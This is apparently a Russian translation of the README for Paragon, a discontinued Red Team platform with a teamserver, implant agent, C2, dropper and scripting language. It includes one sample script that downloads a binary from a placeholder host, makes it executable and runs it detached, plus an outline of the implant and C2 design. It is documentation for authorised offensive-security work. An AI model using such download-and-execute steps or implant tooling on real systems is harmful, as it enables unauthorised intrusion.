
Платформа для взаимодействия Red Team, нацеленная на объединение инструментов атаки под простым пользовательским интерфейсом.
Этот проект прекратил поддержку. Пожалуйста, обратитесь к нашему новому проекту Realm, который основан на многих идеях, заложенных при создании этого репозитория.

Paragon — это платформа для проведения Red Team-операций. Она объединяет offensive-инструменты за простым интерфейсом, абстрагируя большую часть серверной работы, чтобы операторы могли сосредоточиться на написании имплантов и тратить меньше времени на базы данных и CSS. Репозиторий также включает несколько offensive-инструментов, уже интегрированных с Paragon, которые можно использовать во время операций.
Этот репозиторий всё ещё находится в стадии активной разработки и не готов к использованию в production. Когда он будет признан стабильным, будет выпущен тег V1.0.0. До этого момента API может претерпевать критические изменения, так как мы постоянно упрощаем наш дизайн. Пожалуйста, ознакомьтесь с документацией для разработчиков ниже, если хотите помочь нам быстрее достичь этого этапа.
Для быстрого запуска демонстрационного экземпляра клонируйте репозиторий и выполните docker-compose up. Откройте 127.0.0.1:80 в браузере, чтобы начать!
Используемые образы доступны на docker-hub и могут быть настроены из файла docker-compose для production-развертывания.
Большинство компонентов в этом репозитории используют скриптовый язык в стиле Python, обеспечивающий гибкое управление и настройку их поведения. Язык представляет собой модифицированную версию starlark от Google, расширенную кроссплатформенными функциями для операторов. Это также позволяет таким инструментам, как агент и дроппер (описаны ниже), выполнять задачи без использования системных бинарников (curl, bash и т.д.). Все операции выполняются как код на Golang, поэтому добавлять новые функции в среду скриптов интуитивно понятно. Вот пример скрипта:
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
Предоставляет простое веб-приложение и GraphQL API для взаимодействия с графом знаний Red Team, объединяя инструменты за единым источником истины и абстрагируя множество рутинных серверных задач. Интегрируйте свои инструменты с Teamserver (через GraphQL API или подписки на события), чтобы сэкономить время на серверной части. Teamserver записывает все действия, поэтому, когда все ваши инструменты объединены в одном месте, составление отчетов по итогам операции становится значительно проще.
Нижеперечисленные инструменты также включены в репозиторий. Их легко расширить для различных кроссплатформенных сценариев использования.
Paragon предоставляет инструмент для упаковки ресурсов (бинарников, скриптов и т.д.) в один бинарник, который при выполнении запускает ваш пользовательский скрипт развертывания. Скрипт может записывать ресурсы в файловую систему, запускать процессы, скачивать файлы, обрабатывать ошибки и многое другое. Инструмент полностью кроссплатформенный и статически скомпилирован, обеспечивая надежное развертывание. Если вы хотите расширить его функциональность, просто расширьте сгенерированный файл Golang перед компиляцией.
Имплант, который выполняет задачи и сообщает о результатах. По умолчанию он настроен на выполнение задач с использованием скриптового языка Paragon в стиле Python и связь с C2 через http(s). Написан на Go, может быть быстро модифицирован для добавления новых методов передачи (например, DNS), вариантов выполнения, логики отказоустойчивости и т.д.
Выступает в качестве посредника между агентом и Teamserver. Обрабатывает обратные вызовы агентов для различных механизмов связи и предоставляет им новые задачи из очереди Teamserver.
Вместо ожидания обратного вызова некоторые ситуации могут потребовать прямого соединения для быстрого выполнения задачи и просмотра результата. Runner реализует это, подписываясь на очереди задач и устанавливая соединение с целевой машиной (например, через SSH). Это позволяет интеграциям в стиле оболочки использовать тот же интерфейс, что и импланты и C2. Также позволяет проводить первоначальное развертывание имплантов через этот интерфейс.
Мониторинг сетевой активности целей и видимых сервисов. Построение графа сети операции и запуск автоматизации при изменении состояния (например, SSH становится доступным).
Установка переменной окружения PG_KS_MachineUUID для killswitch Teamserver отключит поиск по машине UUID.
Для обеспечения четкого понимания сложных систем ниже приведены несколько специфичных для проекта терминов, которые будут использоваться в документации.
Любое вредоносное программное обеспечение, которое будет запущено на скомпрометированных системах во время операции.
Операции, которые необходимо выполнить на конкретной скомпрометированной системе. Задачи предоставляют инструкции по выполнению имплантам, однако их синтаксис/структура могут быть полностью специфичны для инструмента.
Имплант, который получает задачи от Teamserver, выполняет их и сообщает результаты. В этот репозиторий включена расширяемая реализация по умолчанию, которая требует предоставления задач в виде скриптов на DSL в стиле Python.
Запросы Teamserver на выполнение набора заданных операций. При создании задания инструкции сохраняются, но не выполняются. Пользователь может запросить выполнение задания ноль или более раз, поместив его в очередь и указав необходимые параметры. Задания нельзя обновлять, но можно создавать новые версии заданий, чтобы избежать излишнего копирования.
Типичный вариант использования задания — выполнить скрипт на нескольких целях. Пользователь создает задание, которое инструктирует Teamserver создать задачи с указанным содержимым, но оставляет целевые машины как параметр. При постановке в очередь пользователь указывает список целевых машин в качестве параметра, и Teamserver создает задачу для каждой машины.
Ниже приведено краткое введение в разработку Paragon. Дополнительная документация находится в пакетах godocs или в коде :) После того как мы окончательно определимся с некоторыми дизайнерскими решениями (задолго до v1), будет введена заморозка кода до тех пор, пока вся документация не будет обновлена и должным образом организована.
Remote - Containers от Microsoft обязательно для начала работы.Установите перечисленные выше предварительные требования, и вы сможете начать работу очень быстро. Просто клонируйте репозиторий и откройте его в VSCode. Вам будет предложено открыть код в контейнере разработки, который уже настроен со всеми зависимостями проекта и необходимыми инструментами разработчика. Если этот вариант не отобразится, откройте палитру команд и выполните > Remote-Containers: Open Folder In Container. Если вы запускаете контейнер впервые, скачивание может занять некоторое время — так что налейте себе кофе ^_^
Ниже представлен обзор структуры проекта и расположения каждого компонента. Если эта информация устарела, пожалуйста, сообщите об этом, создав issue, или, что предпочтительнее, PR с исправлением. Кодовая база представляет собой монорепозиторий, что позволяет нам использовать общие инструменты разработки, стандартизацию и т.д., избегая сложных конфликтов версий.
| Папка | Назначение |
|---|---|
| .devcontainer | Конфигурация для контейнера разработки VSCode. |
| .github | Конфигурация Github. |
| .stats | Директория, игнорируемая git (может присутствовать или отсутствовать), для хранения результатов профилирования производительности. |
| ent | Определения API для графа, используемые Teamserver. |
| graphql | Схема GraphQL и связанный сгенерированный код из ent. |
| cmd | Исполняемые инструменты и службы командной строки. |
| dist | Директория, игнорируемая git, для хранения артефактов сборки. |
| docker | Dockerfile для примера развертывания. |
| ent | Графовые модели и схемы, используемые Teamserver (см. инструмент entgo от Facebook). |
| pkg | Публичные библиотеки, используемые инструментами репозитория, но также доступные внешнему миру. |
| pkg/agent | Абстракция для простого создания импланта или транспортного механизма связи. |
| pkg/c2 | Вспомогательные функции службы C2 и стандартизированные определения сообщений. |
| pkg/c2/proto | Спецификация Protobuf для определения стандартизированного формата сериализации для связи Агент <-> C2. |
| pkg/drop | Простой метод, используемый скомпилированными полезными нагрузками дроппера. |
| pkg/middleware | Распространенные middleware для HTTP-сервисов. |
| pkg/script | Скриптовый язык в стиле Python для динамической конфигурации, автоматизации и кроссплатформенной эксплуатации. |
| pkg/script/stdlib | Стандартные библиотеки, предоставляющие функциональность для сред выполнения скриптов. |
| pkg/teamserver | Вспомогательные функции службы Teamserver. |
| www | Содержит основное веб-приложение, размещаемое Teamserver. Создано с помощью create-react-app от Facebook. |
| www/src/components | Переиспользуемые react-компоненты. |
| www/src/config | Конфигурация и маршрутизация веб-приложения. |
| www/src/views | Контейнеры, которые запрашивают данные из Teamserver и составляют компоненты для отображения. |
Ниже представлен обзор связей между узлами графа знаний Red Team, управляемого Teamserver.

приоритет трафика. Чтобы использовать свой собственный, просто реализуйте интерфейс agent.Sender и зарегистрируйте свой транспорт при инициализации. Примеры существующих транспортных механизмов можно найти в поддиректориях пакета agent.
По умолчанию агент ожидает, что задачи соответствуют синтаксису starlark, и предоставляет стандартную библиотеку для использования в скриптах. Чтобы изменить поведение выполнения задач (например, использовать только команды bash), реализуйте интерфейс agent.Receiver и выполняйте задачи по своему усмотрению.
Среду скриптов можно настроить для вашего агента, что позволит легко упаковывать новую функциональность для использования в скриптах. См. опции скриптов, чтобы узнать, как расширить движок скриптов агента.
Ниже представлена диаграмма общего выполнения импланта агента.
Агент спроектирован так, чтобы его можно было легко настраивать с помощью новых транспортных механизмов, мультиплексируя связь на основе
